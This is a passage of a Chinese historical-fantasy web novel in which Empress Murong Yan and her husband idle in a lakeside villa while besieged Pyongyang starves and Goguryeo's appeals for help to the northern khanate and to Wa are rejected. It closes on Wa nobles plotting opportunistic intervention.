慕容嫣选择了一处临湖而建、景致清幽的原高句丽贵族别苑作为临时驻跸之所。 此处远离城中心的喧嚣,亭台楼阁,小桥流水,别有一番静谧。 午后,阳光暖融,微风拂过湖面,泛起粼粼波光。 慕容嫣与林臻并肩漫步在别苑的水榭长廊之中。 她今日心情似乎格外放松,穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,那件黑金貂皮披肩,?在此等暖日下自是无需,?留在了室内。 她长发未绾复杂发髻,?只是松松地挽起,?插着一支简单的玉簪,?更添几分居家的慵懒风情。 ?神凤降世裙在这园林水色之间,展现出一种不同于朝堂军营的柔美与华贵。 ?极致玄黑的苏锦底料在透过纱衣的柔和光线下,呈现出一种天鹅绒般的细腻光泽,深邃而温暖。 织入的金色棉绒与真金线,流淌着如水波般温润的辉光,与廊下湖面的反光交相辉映。? 睡裙之上,那只擎天巨凤的图案,在闲庭信步时,敛去了所有锋芒,宛如凤凰于飞,翙翙其羽,姿态优雅而从容。? 宽大的喇叭袖在纱衣下若隐若现,袖口金线流苏随着她的步伐轻轻晃动。 她左手拇指上的墨玉扳指,在阳光下泛着莹润的光泽。 而那长达五丈的苏锦拖尾,?在洁净的木制廊道上,?迤逦地拖曳其后。 由于廊道曲折,且她步履悠闲,那拖尾便自然而然地随着她的移动,?在廊柱间、在栏杆旁,?蜿蜒流转,?形成一种极具诗意的、动态的凌乱。 这种凌乱,?与周围静谧的园林景致完美融合,?仿佛她本就是这个环境中最自然、最和谐的一部分。? 棉质的柔软与睡裙的舒适,让她可以尽情享受这难得的惬意时光。 林臻亦是一身月白常服,?玉树临风,?与慕容嫣携手同行,?低声交谈着。 他的目光大部分时间都温柔地落在慕容嫣身上,偶尔抬眼看看周围的景致,神情放松而满足。 “夫君,你看这安州城,恢复得还算快吧?”慕容嫣停下脚步,?凭栏而立,?望着湖中嬉戏的锦鲤,?声音轻柔。 林臻站到她身侧,?顺着她的目光望去,?点头道?:“嗯,远超预期。城墙已加固,官署运转有序,流民得到安置,市井渐复生机。皆是嫣儿你决策英明,治理有方。” 慕容嫣听了,?嘴角微微上扬,?露出一抹恬静的笑容。她转过身,?面向林臻,?伸手轻轻替他拂去肩上并不存在的灰尘,?娇声道?:“哪有,都是夫君你派来的官员得力,还有将士们用命,我呀,就是动动嘴皮子。” 她的语气里带着小小的得意和撒娇。 林臻握住她为自己拂尘的手,?笑道?:“动动嘴皮子便是乾坤独断,这才是帝王气度。若非嫣儿你力排众议,暂缓攻打平壤,转而全力经营安州、海州,稳固后方,又何来今日这般安稳局面?围而不攻,坐待其弊,实乃上策。” “我也是不想让将士们再白白流血了嘛。”慕容嫣顺势靠进林臻怀里,?将头枕在他肩上,?声音闷闷的,?带着些许心疼, “平壤城坚,强攻伤亡必大,现在这样多好,我们好好把安州、海州建成我们在辽东的家,让平壤城里那些家伙自己饿死渴死,省心省力。” 她说着,?还像小猫一样在他颈窝蹭了蹭。 林臻被她蹭得心头发痒,?忍不住低笑,?双臂环住她纤细的腰肢,?将她紧紧搂住?:“我的嫣儿越来越有仁君之风了,知道爱惜将士,体恤民力为夫甚是欣慰。” “什么仁君不仁君的,”慕容嫣抬起头,?娇嗔地白了他一眼,“我就是就是不想看到你,还有那些跟着我们的将士再受伤了。” 她说着,?伸手轻轻抚摸上林臻的脸颊,?眼中满是深情与依赖,“再说,这样我们也能有多些时间,像现在这样安安静静地在一起不好吗?” 她的直白告白,让林臻心中涌起巨大的暖流。 他低头,?额头抵着她的额头,?鼻尖相触,?呼吸交融,?柔声道?:“好自然是极好的,能与嫣儿这般相守,便是给个神仙也不换。” 两人在廊下相拥,阳光透过纱衣,在他们身上镀上一层温暖的光晕。 湖光山色,佳人在怀,此刻的慕容嫣,褪去了沙场的戾气与朝堂的威仪,只是一个沉浸在爱情中的幸福女子。 那身神凤降世裙的墨金色泽,在温情中也变得柔和起来。 良久,慕容嫣才依依不舍地从林臻怀中抬起头,?脸上带着红晕,?笑道?:“夫君,我有点渴了,也想吃你上次带来的那个蜜渍梅子。” “好,我们回水榭里去,为夫给你拿。”林臻牵起她的手,?柔声道。 慕容嫣点点头,?任由他牵着,?转身,?准备沿着来路返回水榭。 就在她转身的刹那—— 动作带着沉浸在幸福中的轻盈与欢愉! 那迤逦在廊道上、随着步伐自然蜿蜒流转的五丈墨金色拖尾因这转身被带动,?唰啦一声,?如同流水般滑过光洁的木板?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在午后暖阳下闪烁着蜂蜜般甜美温暖光泽的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出柔和而璀璨的金芒,那光芒不再带有丝毫杀伐之气,而是充满了安宁、幸福与对未来的美好憧憬,尊贵、辉煌,且带着一种岁月静好、与爱人相守的深深满足! 这惊鸿一瞥,是她此刻内心世界最真实的写照。 裙摆落下,将那片温暖甜蜜的金光收敛。 回到临水的水榭中,林臻细心地将蜜渍梅子喂到慕容嫣口中,?又为她斟上一杯温热的香茗。 慕容嫣像只慵懒的猫儿,?斜倚在软榻上,?享受着夫君的服侍,?一边吃着梅子,?一边翻阅着几份关于海州城盐场恢复生产的奏报。 “夫君,海州的盐场要是能完全恢复以后,辽东的军需民用就不用总从江南运了,能省好多事呢。” 她看着奏报,?随口说道,?语气中带着规划未来的认真。 “嫣儿思虑周详。”林臻坐在她身旁,?帮她理了理有些散乱的鬓发,“待平壤一下,辽东全境贯通,届时大力发展农耕、渔盐、工矿,此地必成我大乾北方重镇,固若金汤。” “嗯,”慕容嫣满意地点点头,?放下奏报,?打了个小哈欠,?揉了揉眼睛,“看着这些字有点困了。” “那就歇息一会儿。”林臻柔声道,?伸手想帮她取下头上的玉簪。 慕容嫣却抓住他的手,?撒娇道?:“不要,夫君你陪我说话嘛,等我睡着了你再走。” “好,为夫陪你。”林臻失笑,?任由她抓着自己的手,?坐在榻边,?轻声给她讲些趣闻轶事。 慕容嫣安心地闭上眼睛,?听着他低沉温柔的声音,?很快便沉入了梦乡。 那长达五丈的拖尾,?在榻边,?迤逦地堆叠着,?在午后的微光中,?静静地流淌着墨金色的光华。 林臻看着她恬静的睡颜,?心中充满了宁静与爱意。 他轻轻为她拉好薄被,就那样静静地守着她。 窗外,湖水平静,偶有鸟鸣。 安州城在稳步重建,平壤城在坐待枯竭。 此刻的时光,仿佛偷来的安宁,却也预示着,一个更加稳固强大的帝国,正在这片经历过血火洗礼的土地上,悄然孕育。 第991章 说话啊!废物! 圣徽二年,六月十五。 平壤城已被截断两月有余,城内粮草日渐枯竭,人心浮动,甚至开始出现小规模的骚乱和抢夺食物的事件。 昔日繁华的王都,如今笼罩在饥饿与绝望的阴影之下。 景福殿内,往日争吵不休的朝堂,此刻却陷入一种死水般的沉寂,这沉寂比争吵更令人窒息。 高句丽王高藏,已瘦得脱了相,眼窝深陷,蜷缩在王座里,仿佛一具披着王袍的骷髅,对殿内的一切都毫无反应。 摄政王高云,往日阴鸷的精气神已被彻底抽干,他瘫坐在椅子上,双目无神地望着殿顶的藻井,手指无意识地敲打着扶手,那节奏杂乱无章,透露出内心的极度焦躁与绝望。 殿下站立的文武百官,人人面色蜡黄,衣衫虽还算整齐,却难掩那份由内而外的颓败之气。 空气中弥漫着一种等待最终审判的压抑。 殿内角落的炭火盆早已熄灭多时,无人有心去添炭,初夏的微热此刻也驱不散那彻骨的寒意。 所有人的目光,都或明或暗地投向殿门方向,他们在等,等一个渺茫的、或许能带来一线生机消息。 时间在死寂中一点点流逝,每一刻都如同煎熬。 终于,殿外传来一阵急促而虚浮的脚步声,打破了这令人窒息的宁静。 一名身着破烂不堪、沾满尘土的高句丽使臣服饰的人,连滚爬爬地冲进大殿,他面色灰败,嘴唇干裂,扑通一声跪倒在地,未及开口,已是泪如雨下,哽咽难言。 “如何?!漠北王庭如何答复?!”高云像是被针扎了一般,猛地从椅子上弹起,冲到使臣面前,抓住他的衣领,声音嘶哑地吼道,眼中燃烧着最后一丝疯狂的希望之火。 那使臣被高云状若疯癫的样子吓得浑身发抖,泣不成声,只是拼命摇头。 “说话啊!废物!”高云怒极,一巴掌扇在使臣脸上。 使臣被打得歪倒在地,终于哭喊出来:“摄政王!陛下!完了全完了!漠北蛮族他们他们不肯发兵啊!” “什么?!”高云如遭雷击,踉跄后退几步,几乎站立不稳。 殿内群臣也是一片哗然,虽然早有预料,但亲耳听到这最后的希望破灭,仍感天旋地转。 使臣趴在地上,捶胸顿足地哭诉:“臣臣历尽千辛万苦,见到漠北大汗呈上国书厚礼,恳求出兵相助可可那大汗他他说。” 使臣的声音充满了恐惧与屈辱, “他说大乾兵锋正盛,慕容嫣那妖女手段狠辣,连屠两城,他们他们不敢招惹,还说我们高句丽自寻死路,莫要拖他们下水,直接将臣乱棍打出王庭,礼物也扔了出来。” 使臣的哭诉,如同最后的丧钟,敲响在每个人的心头。 连远在苦寒之地的漠北蛮族,都对慕容嫣和大乾畏惧至此,他们高句丽,还有什么指望? 高云听完,最后一丝力气仿佛也被抽干,他颓然坐倒在地,双目空洞,喃喃自语:“不敢招惹,哈哈,不敢招惹,连漠北的狼崽子都怕了,怕了那身着诡异睡裙的女魔头,天要亡我高句丽,天要亡我高句丽啊。” 他的笑声凄厉而绝望,在空旷的大殿中回荡。 殿内顿时哭嚎声一片,有捶胸顿足者,有瘫软在地者,有仰天长叹者。 最后的救命稻草,断了。 平壤城,真的成了孤城死地。等待他们的,似乎只剩下慕容嫣给出的那三条绝路,或者更惨烈的城破人亡。 与此同时,千里之外的安州别苑,却是另一番天地。 夜色如水,月华皎洁,洒在静谧的园林中。 水榭内,烛火通明,却并不刺眼,反而营造出一种温暖柔和的氛围。 慕容嫣正与林臻在榭内对弈。 她穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 夏夜微凉,?那件黑金貂皮披肩,?也只是随意搭在一旁的躺椅上。 ?睡裙的柔软与舒适,?在这样私密放松的环境下,?展现得淋漓尽致。 ?神凤降世裙在烛光与月光的交融下,焕发出一种如梦似幻的华美。 ?极致玄黑的苏锦底料吸吮着柔和的光线,色泽深邃如静谧的夜空,织入的金色棉绒与真金线则流淌着温暖而莹润的辉光,如同月下流淌的熔金。 ?睡裙之上,那只擎天巨凤的图案,在安宁的夜晚敛去了所有威严,仿佛一只栖息在爱人身边的温顺凤凰,华美而祥和。 ?宽大的喇叭袖一只软软垂在棋枰边,另一只则被慕容嫣用来支着下巴,?凝神思考着棋局。她左手拇指上的墨玉扳指,在烛光下泛着幽润的光泽。 那长达五丈的苏锦拖尾,?在铺着竹席的水榭地板上,?迤逦地铺展开来。 由于对弈时坐姿随意,且不时移动,那拖尾便呈现出一种极度放松状态下形成的、慵懒而迷人的凌乱,?一部分堆在脚边,?一部分蜿蜒至棋枰下,?甚至有一角,?滑落到了临水的台阶边缘,?沾染了夜露的湿气。 这种凌乱,?充满了生活气息与亲昵感。 棉质的亲肤与睡裙的宽松,让她可以完全沉浸在棋局的乐趣与爱人的陪伴中。 “夫君,你这步棋好刁钻呢。”慕容嫣拈着一枚黑子,?悬在半空,?秀眉微蹙,?娇嗔地瞪了林臻一眼,?烛光映照下,?她的脸颊泛着淡淡的红晕,?眼波流转,?煞是动人。 林臻执白子,?嘴角含着一抹温柔的笑意,?看着妻子难得的娇憨模样,?轻声道?:“兵者,诡道也。弈棋如用兵,自然要出其不意。” 他说着,?伸手轻轻握住她悬着的手腕,?引导着将棋子落在某个位置,“不过,嫣儿若从此处断,或许另有天地。” 慕容嫣顺着他指引看去,?眼睛一亮,?顿时笑逐颜开?:“啊!果然!夫君你真坏,明明有更简单的路,非要绕个圈子。” 她说着,?开心地落下棋子,?然后像个小女孩般,?伸手抓住林臻的胳膊摇晃着, “不管不管这局算我赢了!” 林臻被她逗笑,?宠溺地摇摇头?:“好好,算嫣儿赢了,为夫甘拜下风。” 他顺势将她揽入怀中,?让她靠在自己胸前。 慕容嫣心满意足地靠着他,?听着他沉稳的心跳,?嗅着他身上清冽好闻的气息,?感到无比的安心与幸福。 她抬起手,?玩着他衣襟上的盘扣,?随口问道?:“夫君平壤那边有消息了吗?那些家伙是不是饿得差不多了?” 林臻一手揽着她,?一手轻轻抚摸着她的长发,?低声道?:“夜枭刚传回消息,高句丽派往漠北求援的使者已被狼狈逐回,漠北王庭明确拒绝了出兵。” 慕容嫣闻言,?并没有太大意外,?只是懒懒地哼了一声?:“算他们识相,漠北那群蛮子要是敢来正好一并收拾了,省得日后麻烦。” 她的语气轻松,仿佛在说一件微不足道的小事。 “看来平壤城内已是穷途末路了。”林臻总结道。 “嗯,”慕容嫣在他怀里蹭了蹭,?找了个更舒服的姿势,“那就再等等,等他们自己熬不住出来投降,或者饿死在里面,也省得我们动手了。” 她说着,?打了个小小的哈欠,?眼角渗出些许生理性的泪水,“夫君我困了。” “那就不下了,回去歇息。”林臻柔声道,?作势要起身。 “不要,”慕容嫣却抱紧他,?撒娇道,“再抱一会儿嘛,就在这里你看月亮多好看。” 她指着窗外如盘的明月。 第992章 向倭国求助 林臻无奈又宠溺地笑了笑,?只好维持着姿势,?陪她一起看着窗外的月色。 水榭内,烛火摇曳,棋局未终,一对璧人相拥赏月,温情脉脉。 而遥远的平壤王宫内,却是一片愁云惨淡,绝望的哀嚎仿佛能穿透夜空。 就在这时,慕容嫣似乎想到了什么,?从林臻怀中抬起头,?眼中闪过一丝狡黠的光芒?:“夫君,等拿下平壤,我们把王宫修一修,以后夏天就来这里避暑好不好?这里比京城凉快多了” 林臻低头看着她亮晶晶的眸子,?心中柔软?:“好,都依你,嫣儿想在哪里,我们就在哪里。” 慕容嫣开心地笑了,?重新靠回他怀里。静谧的夏夜,只闻虫鸣唧唧,水流潺潺。 那身神凤降世裙的墨金色泽,在月光下流淌着静谧的光华。 过了许久,慕容嫣似乎真的睡着了,?呼吸变得均匀绵长。林臻小心地想将她抱起,?送回卧室。 就在他轻轻动作,?慕容嫣无意识转身调整姿势的刹那—— 动作带着熟睡中的自然与毫无防备! 那迤逦在地、慵懒凌乱的五丈墨金色拖尾被带动,?唰啦一声,?如同流水般滑过竹席?! 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在月色烛光交融下仿佛笼罩着一层梦幻银辉的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出朦胧而圣洁的金色光晕,那光芒温柔、宁静,充满了被爱与安全感包围的幸福,尊贵、辉煌,且带着一种远离纷争、岁月静好的深深满足! 这惊鸿一瞥,与她此刻安睡的姿态相得益彰。 裙摆落下,将那片梦幻的金色光晕掩盖。 林臻将她稳稳抱起,?走向寝殿。 那长长的拖尾,?在他臂弯中,?迤逦地垂落。 ...... 圣徽二年,六月末。 平壤城已如风雨飘摇中的孤舟,城内粮尽援绝的谣言四起,秩序濒临崩溃。 在尝试向漠北求援失败后,陷入绝境的高句丽王庭,如同溺水之人抓住最后一根稻草,将目光投向了隔海相望的倭国。 这是他们最后、也是最渺茫的希望。 景福殿内,死气沉沉。 高句丽王高藏已多日未曾临朝,据说病重在榻,形同槁木。 摄政王高云强撑着主持朝政,但他眼窝深陷,面色灰败,每说一句话都仿佛耗尽了力气。 殿下群臣,更是人人自危,一片末日景象。 “倭国,唯有倭国了。”高云的声音嘶哑得几乎听不清,“隔海相望,或可念在唇亡齿寒,派水师来援,即便不能退敌,或许或许能打通海路,运些粮草进来。” 他的话语连自己都无法说服,充满了绝望的自欺欺人。 群臣默然。 谁都知道,倭国与大乾素无仇怨,且隔着大海,是否会为了一个即将灭亡的高句丽,去招惹如日中天、手段酷烈的大乾帝国? 尤其是那位身着诡异华服、动辄屠城的女帝慕容嫣? 但此刻,他们已经没有选择。 “派使臣挑选挑选最珍贵的礼物,即刻渡海前往倭国,觐见倭王,不,倭国如今是女皇即位,去觐见倭国女皇,陈述利害,乞求出兵或至少给予支援。” 高云用尽最后的气力下达了命令。 一名年迈但精通倭语、曾多次出使倭国的老臣朴永锡,被选中承担这几乎不可能完成的任务。 他跪地领命时,老泪纵横,深知此去,九死一生,且希望渺茫。 数日后,历经风浪颠簸,朴永锡一行人终于抵达倭国都城难波京。 与平壤的绝望压抑不同,难波京依山傍海,建筑低矮精巧,街道上行人穿着独特的服饰,秩序井然,透着一股海岛国家的宁静与封闭。 然而,这种宁静,却让朴永锡心中更加冰凉——这里,似乎完全感受不到高句丽正在经历的灭顶之灾。 经过繁琐的通传和等待,朴永锡终于被引荐至倭国皇宫的正殿。 殿内铺着洁净的榻榻米,陈设简洁雅致,与高句丽王宫的富丽堂皇截然不同。 殿上首,垂着竹帘,帘后端坐着一道模糊但威严的身影,正是当今倭国的女天皇。 两侧跪坐着倭国的公卿大臣,皆身着朝服,神情肃穆。 朴永锡扑通一声跪倒在冰冷的榻榻米上,以最谦卑的姿势行大礼,声音颤抖着用倭语高呼:“下国罪臣朴永锡,奉高句丽国王之命,叩见倭国天皇陛下!万岁,万岁,万万岁!” 他身后的随从将带来的珍贵礼物——包括硕大的东珠、千年人参、精美的青瓷等,一一奉上。 竹帘后,传来一个年轻但沉稳的女声,通过通译说道:“平身。高句丽使臣远来辛苦。所为何事?” 朴永锡抬起头,已是泪流满面,他泣不成声地陈述高句丽如何被大乾入侵,海州、安州如何被屠,平壤如何被围,国家如何危在旦夕。 他极力渲染大乾的残暴,尤其是大乾女帝慕容嫣的?“身着诡异黑金睡裙,行如妖魔,动辄屠城”??的恐怖形象,并强调唇亡齿寒的道理,恳求倭国看在同处东方、互为邻邦的份上,出兵相助,或至少提供粮草物资支援。 “陛下!大乾狼子野心,慕容嫣妖女残暴不仁!若我高句丽亡国,其兵锋下一步,必指向倭国啊陛下!望陛下念及两国世代交好,救我高句丽于水火!我高句丽愿永世称臣,岁岁朝贡!” 朴永锡说到激动处,以头抢地,咚咚作响。 殿内一片寂静。 倭国的公卿们交头接耳,低声议论,脸上大多露出疑虑和畏惧的神色。 竹帘后的女天皇沉默了片刻,方才缓缓开口,声音依旧平静无波: “高句丽使臣之言,朕已听闻。然大乾与倭国,素无仇怨,隔海相望,井水不犯河水。你国与大乾之争端,朕亦有所耳闻,似是因你国挑衅在先?至于出兵之事,” 女天皇顿了顿,语气变得坚决,“倭国国小力微,水师不堪远航,且国内安宁为重,实不敢卷入贵国与天朝上国之纷争。使臣请回吧,厚礼也请带回。” “陛下!陛下三思啊!”朴永锡如坠冰窟,拼命磕头,“那慕容嫣妖女,绝非善类!其野心勃勃,绝不会止于高句丽!今日是我高句丽,明日便是。” “够了!”一位倭国老臣厉声打断,“休得在此危言耸听,诅咒我国!天皇陛下已有决断,使臣请自重!” 侍卫上前,示意朴永锡离开。 朴永锡知道再无希望,瘫软在地,失声痛哭,最终被倭国侍卫“请”出了皇宫。 他带来的厚礼,原封不动地被退回。 倭国上下,显然不愿为了一个将亡之国,去触怒那个传说中如同罗刹般的大乾女帝。 高句丽的最后一丝幻想,彻底破灭。 与此同时,安州别苑内,却是一派闲适安宁。 慕容嫣正与林臻在临水的轩榭内品茗对弈。 窗外荷塘花开正盛,微风送来阵阵清香。 慕容嫣只穿着那身神凤降世裙,?夏日炎炎,?她连那件薄纱外衫都省了,?裙子的棉质面料透气舒适。 第993章 我们去看荷花 慕容嫣乌黑的长发用一根简单的玉簪松松绾起,?几缕发丝垂落颈边,?更添慵懒风情。 ?神凤降世裙在夏日的明亮光线下,华美而轻盈。 ?极致玄黑的苏锦底料在阳光下呈现出一种哑光的深邃质感,织入的金色棉绒与真金线则反射出点点耀眼的金芒,与池塘的波光相映成趣。 ?睡裙之上,那只擎天巨凤的图案,在闲适的氛围中,少了几分威严,多了几分华贵与优雅。? 宽大的喇叭袖被她挽起一些,露出纤细的手腕和左手拇指上的墨玉扳指,扳指在光下泛着温润的光泽。 那长达五丈的苏锦拖尾,?在凉爽的竹席上,?铺展开来。 因她坐姿随意,不时调整,那拖尾便在席上蜿蜒流转,?形成一种夏日特有的、慵懒而惬意的凌乱。 ?棉质的柔软与睡裙的宽松,让她在酷暑中也能保持清凉与舒适。 “夫君该你啦。”慕容嫣拈起一枚冰镇过的葡萄,?轻轻放入口中,?然后用指尖点了点棋盘,?娇声催促林臻,?凤眸中含着笑意。 林臻执白子,?却不急着落下,?而是拿起一旁的团扇,?温柔地为她扇着风,?笑道?:“嫣儿莫急,让为夫想想,如何破解你这‘凤舞九天’之势。” 他目光温柔地落在她身上,?满是宠溺。 慕容嫣享受地眯起眼,?像只被顺毛的猫儿?:“嗯,好凉快,夫君最好了。” 她说着,?顺势将头靠在他扇风的手臂上,?蹭了蹭, “不过你可不许故意让着我。” “岂敢岂敢,”林臻失笑,“我的嫣儿棋艺精湛,为夫需得全力以赴才行。” 他这才落下棋子,?位置精妙,?顿时让棋局再生波澜。 慕容嫣仔细一看,?撅起了嘴?:“哎呀夫君你好狡猾。” 她假装生气,?伸出手轻轻捶了一下他的肩膀,?力道却如同挠痒痒。 两人正笑闹间,一名内侍轻步走近,躬身禀报:“陛下,亲王殿下,‘夜枭’急报。” 慕容嫣笑容微敛,?坐直身体,?恢复了帝王的威仪,?但手却依然自然地搭在林臻的手背上?:“讲。” “禀陛下,高句丽秘遣使臣朴永锡,已于三日前抵达倭国难波京,试图游说倭国女皇出兵相助。今日消息传回,倭国女皇已明确拒绝其请求,并将其使团驱逐出境。” 慕容嫣听完,?脸上没有任何意外之色,?反而勾起一抹嘲讽的弧度。 她转头看向林臻,?语气带着一丝不屑和撒娇?:“夫君你看,又是白费力气,倭国那群岛夷缩在海外,自顾不暇,哪有胆子来招惹我们?” 林臻反手握住她的手,?微笑道?:“嫣儿威名远播,四海皆知。倭国虽僻处一隅,亦知轻重缓急,不敢螳臂当车。高句丽已是穷途末路了。” “哼,算他们识相。”慕容嫣轻哼一声,?又靠回林臻身边,?懒洋洋地说?:“这样也好,省得我们还要分心对付海上来的麻烦,可以安心等着平壤自己烂掉了。” 她说着,?又拈起一颗葡萄,?递到林臻嘴边:“夫君尝尝,好甜呢。” 林臻张口接过,?点头赞道?:“嗯,确实清甜。” 他看着她,?眼中柔情更甚, “如今外部援绝,内部粮尽,平壤已是囊中之物。嫣儿只需稳坐此地,静观其变即可。” “嗯,”慕容嫣满意地点点头,?将棋盘轻轻一推?:“不下了,不下了,没什么意思,夫君我们去看荷花吧,听说湖心的并蒂莲开了呢。” 她说着,?站起身,?向林臻伸出手。 林臻自然起身,?牵住她的手?:“好,陪你去。” 慕容嫣开心地笑了,?拉着他便往水榭外走。 就在她转身步出水榭的刹那—— 动作带着卸下琐事、与爱人同游的轻快与喜悦! 那在竹席上铺散凌乱的五丈墨金色拖尾被带动,?唰啦一声,?拂过门槛,?滑过连接水榭与湖岸的木质栈桥?! 随着拖尾的飘起——赫然露出了里面那金线密织、在夏日灿烂阳光下闪烁着如金色波浪般跃动光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出活力四射的金芒,那光芒充满了自信、从容与掌控一切的愉悦,尊贵、辉煌,且带着一种戏耍顽敌于股掌之间的轻松与惬意! 这惊鸿一瞥,是对高句丽最后挣扎的无情嘲弄。 裙摆落下,将那片跃动的金光掩盖。 慕容嫣与林臻手牵手,?漫步在湖光山色之间,?欣赏着盛开的荷花,?不时低声笑语。 ...... 圣徽二年,七月初。 平壤城已陷入绝境的消息,如同海上的潮汐,一波波传递到隔海相望的倭国。 尽管女天皇已明确拒绝了高句丽使臣的求援,并将之驱逐,但这件关乎邻国存亡的大事,依旧在倭国统治阶层内部激起了不小的波澜,尤其是在一些怀有野心的贵族和武将心中。 难波京,倭国皇宫的一间隐秘偏殿内,烛火摇曳,气氛与正式朝会的肃穆截然不同。 此处正在进行一场非正式的、却可能影响国策的密议。 与会者并非全部公卿,而是以主张对外扩张的苏我马子大臣为首,聚集了几名手握兵权的将领和与其交好的贵族。 苏我马子年约五旬,身材矮壮,面色黝黑,一双细长的眼睛里闪烁着精明与贪婪的光芒。 他跪坐在主位,扫视了一眼在座的几人,压低声音,用带着浓重口音的倭语开口道:“诸君,高句丽之事,想必都已知晓。天皇陛下仁德,不愿卷入纷争,已回绝其使。然,我等身为臣子,是否……当为国运思虑更远?” 一名叫做物部守屋的武将性子急躁,闻言立刻接口: “大臣所言极是!高句丽如今就像一块肥肉,吊在饿狼嘴边!大乾虽强,但远跨重洋,其水师未必能与我倭国勇士在海上争锋!若能趁其与高句丽两败俱伤之际,我倭国出兵,哪怕只是袭扰其粮道,或占据高句丽沿海一二岛屿,乃至……趁乱在朝鲜半岛分一杯羹,岂非天赐良机?届时,我国势力便可伸向大陆,获取土地、人口、资源,利益巨大啊!” 他的话语中充满了对领土和财富的渴望。 另一名贵族中臣镰足则较为谨慎,他捋着稀疏的胡须,沉吟道: “物部将军勇武可嘉,然……是否过于乐观?那大乾女帝慕容嫣,绝非易与之辈。海州、安州屠城,手段狠辣,其军力之强,恐非我倭国所能正面抗衡。若贸然介入,引火烧身,后果不堪设想。窃以为,还是谨守本岛,静观其变为上。” “中臣君太过怯懦!”物部守屋不屑地反驳,“慕容嫣一女子,靠着几分姿色和几件奇装异服?蛊惑人心罢了!我倭国勇士,岂会怕她?再者,我等并非要与其主力决战,只需像海狼一样,伺机而动,咬下一块肉便走。风险固然有,但收益更大!难道诸位就甘心永远困守在这几个岛屿之上吗?” 他的话语煽动性极强,描绘着开疆拓土的诱人前景。 苏我马子微微颔首,显然更倾向于物部守屋的激进观点。 但他老谋深算,不会轻易表态,而是将目光投向另一位以智谋著称的年轻贵族,藤原不比等:“不比等,你有何见解?” 第994章 倭国决定来增援 藤原不比等年轻而沉稳,他缓缓开口,声音平静却带着一丝冷意:“诸位大人,高句丽之亡,已成定局。此时介入,并非为了救高句丽,而是为了我倭国自身。关键在于,如何以最小的代价,获取最大的利益。直接派兵登陆,与疲惫但依旧强大的大乾军冲突,确非明智之举。” 他顿了顿,眼中闪过一丝狡黠, “然而,我们可以换一种方式比如,以‘调停’或‘斡旋’为名,派遣使者前往平壤,或接触大乾方面。一方面探听虚实,另一方面或许可以趁机索要些好处,例如,要求大乾承认我国在朝鲜半岛南端的‘传统利益’,或者,在贸易上给予我们更多优惠。若大乾应允,我们便作壁上观,白得好处;若其不允届时再视情况,或煽动高句丽残部继续抵抗,或暗中支援,让其长期消耗大乾国力,于我倭国,亦是有利。” 这番言论,将倭国的卑鄙与算计展现得淋漓尽致。 既想趁火打劫,又不敢明目张胆,企图通过外交讹诈和阴谋手段攫取利益。 物部守屋有些不满:“不比等君之计,虽稳妥,却未免太过小家子气!何不痛快些?” 藤原不比等冷笑:“物部将军,与猛虎争食,岂能逞匹夫之勇?慕容嫣能连屠两城,其心性之坚,手段之狠,岂是易欺之辈?我等行事,当如捕鱼,悄无声息,方能得手。明目张胆,只会成为她下一个屠戮的目标。” 他的话语中,对慕容嫣的忌惮显而易见。 苏我马子听完几人的争论,心中已有计较。 他清了清嗓子,总结道:“诸君之言,皆有道理。天皇陛下既已明示不直接出兵,我等自当遵从。然,为国谋利,臣子本分。藤原君之计,颇合我意。可先遣一能言善辩之使,以调和之名,前往辽东,见机行事。若能不费一兵一卒而得利,自是上策;若事有可为再议不迟。” 他的决定,充满了投机色彩,既想捞好处,又不敢承担过大风险,典型的贪婪而怯懦。 密议最终达成共识:派遣秘密使者,进行一场投机式的“外交”试探。 倭国上下,在这种贪婪与恐惧交织的心态下,开始了一场危险的边缘游戏。 与此同时,安州别苑内,却是另一番景象。 夕阳西下,晚霞满天,将庭院染上一层温暖的金红色。 慕容嫣与林臻刚用完晚膳,?正并肩坐在水榭外的露台上赏晚霞。 凉风习习,驱散了白日的暑气。 慕容嫣穿着那身神凤降世裙。 她赤着双足,?蜷在铺着软垫的宽大躺椅里,?脑袋舒服地枕在林臻的腿上。 林臻则侧坐着,?一手轻轻揽着她的肩膀,?另一只手,?有一下没一下地梳理着她如瀑的秀发。 ?神凤降世裙在晚霞的映照下,呈现出一种格外温暖而瑰丽的色彩。? 极致玄黑的苏锦底料仿佛吸饱了夕阳的余晖,泛着暗红色的暖光,织入的金色棉绒与真金线则流淌着熔金般灿烂的辉光,与天边的霞光融为一体。 ?睡裙之上,那只擎天巨凤的图案,在暮色中少了几分白日的锐利,多了几分归巢般的安宁与华美。? 宽大的喇叭袖一只软软垂在椅边,另一只则被慕容嫣用来盖在自己小腹上。 她左手拇指上的墨玉扳指,在霞光下泛着温润的光泽。 那长达五丈的苏锦拖尾,?从躺椅上,?迤逦地垂落,?铺在露台的木地板上。 晚风吹拂,裙摆微微晃动,?在地面上形成一种慵懒惬意、随风而动的凌乱。 ?棉质的柔软与睡裙的舒适,让她可以完全放松下来,享受这宁静的黄昏。 “夫君,今天的晚霞真好看呢。”慕容嫣眯着眼,?像只餍足的猫儿,?声音带着一丝睡意。 林臻低头看着她,?指尖拂过她光滑的脸颊,?柔声道?:“嗯,霞光万丈,犹如嫣儿衣裙上的金凤展翅。” 他的比喻总是恰到好处地让她开心。 慕容嫣果然笑了,?嘴角弯起好看的弧度。她抬起手,?抓住林臻正在为她梳理头发的手,?贴在自己脸上,?蹭了蹭?:“夫君你最近好像瘦了点,是不是政务太忙了?” 她的语气里带着心疼。 “为嫣儿分忧,怎会忙?”林臻轻笑,?反手握住她的小手,“倒是你,近日巡视各地,车马劳顿,才真是辛苦了。” “不辛苦,”慕容嫣摇摇头,?仰头看着他,?眼中映着霞光,?亮晶晶的,“有夫君在身边,去哪里都不辛苦。” 她说着,?忽然想起什么,?问道?:“对了夫君,倭国那边有什么新消息吗?那些岛夷不会真的敢来捣乱吧?” 林臻神色如常,?淡淡道?:“夜枭刚传回消息。倭国女皇虽明面拒绝,但其国内有些贵族,似乎有些不切实际的想法。以苏我马子为首的一伙人,正在密议,想趁火打劫,派使者来‘调停’,实则想捞些好处。” 